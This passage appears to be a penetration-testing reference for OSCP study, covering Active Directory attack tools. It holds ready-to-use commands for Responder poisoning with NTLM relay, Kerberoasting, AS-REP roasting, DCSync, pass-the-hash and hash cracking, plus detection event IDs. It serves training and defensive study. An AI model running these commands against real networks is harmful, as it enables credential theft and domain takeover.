python3 Responder.py -I eth0 -wR -q
Key Parameters
| Parameter | Description |
|---|---|
-I |
Network interface |
-w |
Enable Whisperer mode |
-R |
Enable NBT-NS poisoning |
-l |
Enable LLMNR poisoning |
-n |
Enable NBT-NS only |
-f |
Enable WPAD |
-A |
Force authentication (always respond) |
-F |
Force file sharing responses |
-q |
Quiet mode |
-b |
Broadcast mode |
-d |
Disable DNS poisoning |
7.4 Captured Hash Location
# Responder saves captured hashes to:
# /usr/share/Responder/loot/
# View captured hashes
cat /usr/share/Responder/Loot/Responder-NTLMv2-Captures.txt
# Format: hostname$username:rid:ntlmv2_hash::domain
7.5 OSCP Exam Tips
Exam environment notes:
- Responder is most effective when combined with
ntlmrelayx.py- Run Responder in the background while performing other enumeration
- The
-wRflags (Whisperer + NBT-NS) are the most effective combination- Captured hashes can be cracked with Hashcat mode 5600 (NetNTLMv2)
- Be careful — Responder can interfere with your own network traffic
Pro tip: Use Responder + ntlmrelayx together:
# Terminal 1: Responder python3 Responder.py -I eth0 -wR # Terminal 2: ntlmrelayx python3 ntlmrelayx.py -t smb://TARGET_IP -whitelist DC_IP
8. Tool Comparison Matrix
8.1 Kerberos Operations
| Operation | Rubeus | Impacket | Mimikatz | Kerbrute | CME/nxc |
|---|---|---|---|---|---|
| Kerberoasting | ✅ Best | ✅ Good | ❌ | ❌ | ✅ OK |
| AS-REP Roasting | ✅ Best | ✅ Good | ❌ | ✅ Good | ✅ OK |
| Ticket dump | ✅ Best | ❌ | ✅ Good | ❌ | ❌ |
| Pass the Ticket | ✅ Best | Via ccache | ✅ Good | ❌ | ❌ |
| Gold Ticket | ✅ | ❌ | ✅ | ❌ | ❌ |
| Silver Ticket | ✅ | ❌ | ✅ | ❌ | ❌ |
| Overpass-the-Hash | ✅ Best | ✅ Via getTGT | ✅ | ❌ | ❌ |
| S4U attacks | ✅ | ✅ Via getST | ✅ | ❌ | ❌ |
| User enumeration | ❌ | ❌ | ❌ | ✅ Best | ✅ Via SMB |
| Password spraying | ❌ | ❌ | ❌ | ✅ Best | ✅ Via SMB |
8.2 Credential Extraction
| Operation | Mimikatz | Rubeus | Impacket | CME/nxc |
|---|---|---|---|---|
| LSASS dump | ✅ Best | ❌ | ❌ | ❌ |
| DCSync | ✅ | ❌ | ✅ Best | ✅ |
| Pass-the-Hash | ✅ | ✅ (asktgt) | ✅ Best | ✅ |
| WDigest | ✅ | ❌ | ❌ | ❌ |
| Kerberos tickets | ✅ | ✅ Best | ❌ | ❌ |
| DPAPI | ✅ | ❌ | ❌ | ❌ |
| SAM dump | ✅ | ❌ | ✅ | ❌ |
8.3 Network Enumeration
| Operation | CME/nxc | Impacket | Responder | Kerbrute |
|---|---|---|---|---|
| SMB scan | ✅ Best | ❌ | ❌ | ❌ |
| User enum | ✅ | ✅ | ❌ | ✅ (Kerberos) |
| Share enum | ✅ Best | ❌ | ❌ | ❌ |
| LLMNR poison | ❌ | ❌ | ✅ Best | ❌ |
| NTLM relay | ❌ | ✅ (ntlmrelayx) | Complementary | ❌ |
| Password spray | ✅ | ❌ | ❌ | ✅ (Kerberos) |
9. Quick-Reference Cheat Sheets
9.1 Kerberoasting — All Tools
┌─────────────────────────────────────────────────────────────────────────────┐
│ KERBEROASTING — QUICK REFERENCE │
├──────────────┬──────────────────────────────────────────────────────────────┤
│ Rubeus │ Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt │
│ Impacket │ python3 GetUserSPNs.py domain/user:pass -format hashcat │
│ │ -outputfile hashes.txt -dc-ip DC_IP │
│ CME/nxc │ nxc smb DC_IP -u user -p pass --kerberoasting output/ │
│ Crack │ hashcat -m 13100 hashes.txt rockyou.txt -O │
└──────────────┴──────────────────────────────────────────────────────────────┘
9.2 AS-REP Roasting — All Tools
┌─────────────────────────────────────────────────────────────────────────────┐
│ AS-REP ROASTING — QUICK REFERENCE │
├──────────────┬──────────────────────────────────────────────────────────────┤
│ Rubeus │ Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt │
│ Impacket │ python3 GetNPUsers.py domain/ -no-pass -format hashcat │
│ │ -outputfile hashes.txt -dc-ip DC_IP │
│ Kerbrute │ kerbrute asreproast -d domain -users users.txt -o hashes.txt │
│ CME/nxc │ nxc smb DC_IP -u user -p pass --asreproast output.txt │
│ Crack │ hashcat -m 18200 hashes.txt rockyou.txt -O │
└──────────────┴──────────────────────────────────────────────────────────────┘
9.3 DCSync — All Tools
┌─────────────────────────────────────────────────────────────────────────────┐
│ DCSYNC — QUICK REFERENCE │
├──────────────┬──────────────────────────────────────────────────────────────┤
│ Impacket │ python3 secretsdump.py domain/DA:pass@DC_IP -just-dc-ntlm │
│ Mimikatz │ lsadump::dcsync /user:domain\krbtgt │
│ CME/nxc │ nxc smb DC_IP -u DA -p pass --dcsync │
│ │ nxc smb DC_IP -u DA -p pass --dcsync-user krbtgt │
└──────────────┴──────────────────────────────────────────────────────────────┘
9.4 Pass-the-Hash — All Tools
┌─────────────────────────────────────────────────────────────────────────────┐
│ PASS-THE-HASH — QUICK REFERENCE │
├──────────────┬──────────────────────────────────────────────────────────────┤
│ Impacket │ python3 psexec.py domain/user -hashes :HASH @TARGET │
│ Mimikatz │ sekurlsa::pth /user:admin /domain:domain /ntlm:HASH │
│ │ /run:cmd.exe │
│ CME/nxc │ nxc smb TARGET -u '' -H HASH │
│ Rubeus │ Rubeus.exe asktgt /user:admin /rc4:HASH /ptt │
└──────────────┴──────────────────────────────────────────────────────────────┘
9.5 Hashcat Modes for AD
┌─────────────────────────────────────────────────────────────────────────────┐
│ HASHCAT MODES — AD AUTHENTICATION │
├──────────────────┬──────────┬───────────────────────────────────────────────┤
│ Hash Prefix │ Mode │ Attack Type │
├──────────────────┼──────────┼───────────────────────────────────────────────┤
│ $krb5tgs$23$ │ 13100 │ Kerberoasting RC4-HMAC │
│ $krb5tgs$17$ │ 19600 │ Kerberoasting AES128 │
│ $krb5tgs$18$ │ 19600 │ Kerberoasting AES256 │
│ $krb5asrep$23$ │ 18200 │ AS-REP Roast RC4 │
│ $krb5asrep$17$ │ 19100 │ AS-REP Roast AES128 │
│ $krb5asrep$18$ │ 19200 │ AS-REP Roast AES256 │
│ user:rid:ntlm: │ 1000 │ NTLM Hash │
│ user::dom:chal: │ 5600 │ NetNTLMv2 │
└──────────────────┴──────────┴───────────────────────────────────────────────┘
9.6 Authentication Strings for Impacket
┌─────────────────────────────────────────────────────────────────────────────┐
│ IMPACKET AUTH FORMATS — QUICK REFERENCE │
├─────────────────────────────────────────────────────────────────────────────┤
│ Password: domain.com/user:password@target │
│ PtH: domain.com/user -hashes lm:ntlm @target │
│ Kerberos: domain.com/user@target -k -no-pass │
│ (export KRB5CCNAME=ticket.ccache) │
│ No-pass: domain.com/ -no-pass │
│ AES key: domain.com/user -aesKey HEX_KEY @target │
└─────────────────────────────────────────────────────────────────────────────┘
9.7 Event IDs to Know
┌─────────────────────────────────────────────────────────────────────────────┐
│ EVENT IDS — AD AUTHENTICATION │
├────────────┬──────────────────────┬─────────────────────────────────────────┤
│ Event ID │ Description │ Relevant Attacks │
├────────────┼──────────────────────┼─────────────────────────────────────────┤
│ 4768 │ TGT issued │ AS-REP Roast, Overpass-the-Hash │
│ 4769 │ TGS issued │ Kerberoasting, Delegation │
│ 4771 │ Pre-auth failure │ Brute force detection │
│ 4624 │ Logon success │ PtH, NTLM Relay │
│ 4625 │ Logon failure │ Brute force detection │
│ 5136 │ DS object modified │ RBCD, Shadow Creds, ESC5 │
│ 4764 │ SPN set │ gMSA rotation │
│ 4762 │ Enc type changed │ Encryption policy changes │
└────────────┴──────────────────────┴─────────────────────────────────────────┘
This comprehensive tools reference covers all major AD authentication attack tools. Practice each tool in a lab environment to build proficiency. Always ensure you have proper authorization before testing any of these techniques.